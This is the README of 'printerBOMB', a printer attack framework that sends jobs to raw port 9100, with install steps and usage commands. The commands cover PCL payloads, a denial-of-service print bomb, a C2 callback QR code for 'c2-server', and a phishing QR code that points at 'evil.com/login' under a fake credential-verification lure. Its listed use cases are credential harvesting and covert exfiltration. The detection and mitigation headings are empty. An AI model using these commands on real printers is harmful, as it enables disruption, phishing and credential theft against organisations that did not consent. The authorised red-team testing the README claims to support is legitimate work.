
Printer exploitation framework for security testing via raw port 9100, featuring PCL payload delivery, DoS bombing, C2 QR codes, phishing QR codes, and covert exfiltration markers.
____ _ _ _____ _ _ ___
| _ \| | | | | __ \ | \ | | _|
| |_) | | __ | | __ | |__) | __ | \| | | _
| _ <| | / _| | |/ / | ___/ ' \| . ` | | (_)
| |_) | | \_| | < | | | (_) | |\ | |___ |
|____/|_| \__ |_|\_\|_| \___/|_| \_|_____|
_ _ | |
| | | | | |
| |_| | | |
\___/ |_|
______
|______|
| |
|______|
🖨️ printerBOMB - Printer Spooling Attack Framework
Exploiting the overlooked attack vector: Your Network Printers
Developed by: Azhari Ramadhan 🔥
PrintHack is a sophisticated printer exploitation tool designed for security professionals, red teamers, and penetration testers. This tool leverages the raw printer spooling protocol (Port 9100) to perform security assessments, test printer vulnerabilities, and simulate real-world attack scenarios.
⚠️ DISCLAIMER: This tool is intended for legitimate security testing and educational purposes only. Use responsibly and only on systems you own or have explicit authorization to test.
git clone https://github.com/AzhariRamadhan/CVE-PORT-9100.git
cd CVE-PORT-9100
pip install -r requirements.txt
Pillow - Image processingqrcode - QR code generationrequests - HTTP requestspip install Pillow qrcode requests
# Test printer connectivity
python3 printerhack.py -t 192.168.1.100 --check
# Send test page
python3 printerhack.py -t 192.168.1.100 --test
# Print custom message
python3 printerhack.py -t 192.168.1.100 -m "Hello from Red Team!"
# Print image from URL (converted to ASCII)
python3 printerhack.py -t 192.168.1.100 -i http://example.com/image.png
# Send PCL payload
python3 printerhack.py -t 192.168.1.100 --pcl
# Print bomb (DoS - 10MB)
python3 printerhack.py -t 192.168.1.100 --bomb 10
# Print C2 callback QR code
python3 printerhack.py -t 192.168.1.100 --c2 "http://c2-server:8080/beacon"
# Print phishing QR code
python3 printerhack.py -t 192.168.1.100 --phish "http://evil.com/login" "URGENT: Verify your credentials"
# Print to multiple printers from file
echo -e "192.168.1.100\n192.168.1.101\n192.168.1.102" > targets.txt
python3 printerhack.py -f targets.txt -m "Security Test Message"
Print covert messages or instructions to compromised printers in physical access scenarios.
Print QR codes linking to credential harvesting pages disguised as security notices.
Use printer output as a covert exfiltration channel for encoded data.
Test organizational resilience against printer-based denial of service attacks.
Enumerate and identify printers across the network.
Detection Indicators:
Mitigation Strategies:
THIS TOOL IS PROVIDED "AS IS" FOR LEGITIMATE SECURITY TESTING ONLY.
THE AUTHOR IS NOT LIABLE FOR ANY MISUSE OF THIS TOOL.
ALWAYS obtain written authorization before testing any system.
Unauthorized use may violate Computer Fraud and Abuse Act (CFAA)
and similar laws in your jurisdiction.
Developed by: Azhari Ramadhan
Contributions welcome! Please ensure:
Developer: Azhari Ramadhan 🔥
MIT License - See LICENSE for details
🖨️ printerBOMB - Exploiting the Last Line of Defense
Stay ahead of the attackers by thinking like them
Made with 🔥 by Azhari Ramadhan
| Feature | Description |
|---|
--check | Test printer connectivity |
--test | Send test page |
--message | Print custom payloads |
--image | Print image from URL (ASCII art) |
--pcl | Send PCL formatted payload |
--bomb | DoS attack (massive payload) |
--c2 | Print C2 callback QR code |
--phish | Print phishing QR code |
--exfil | Print data exfiltration marker |
--file | Mass print to multiple targets |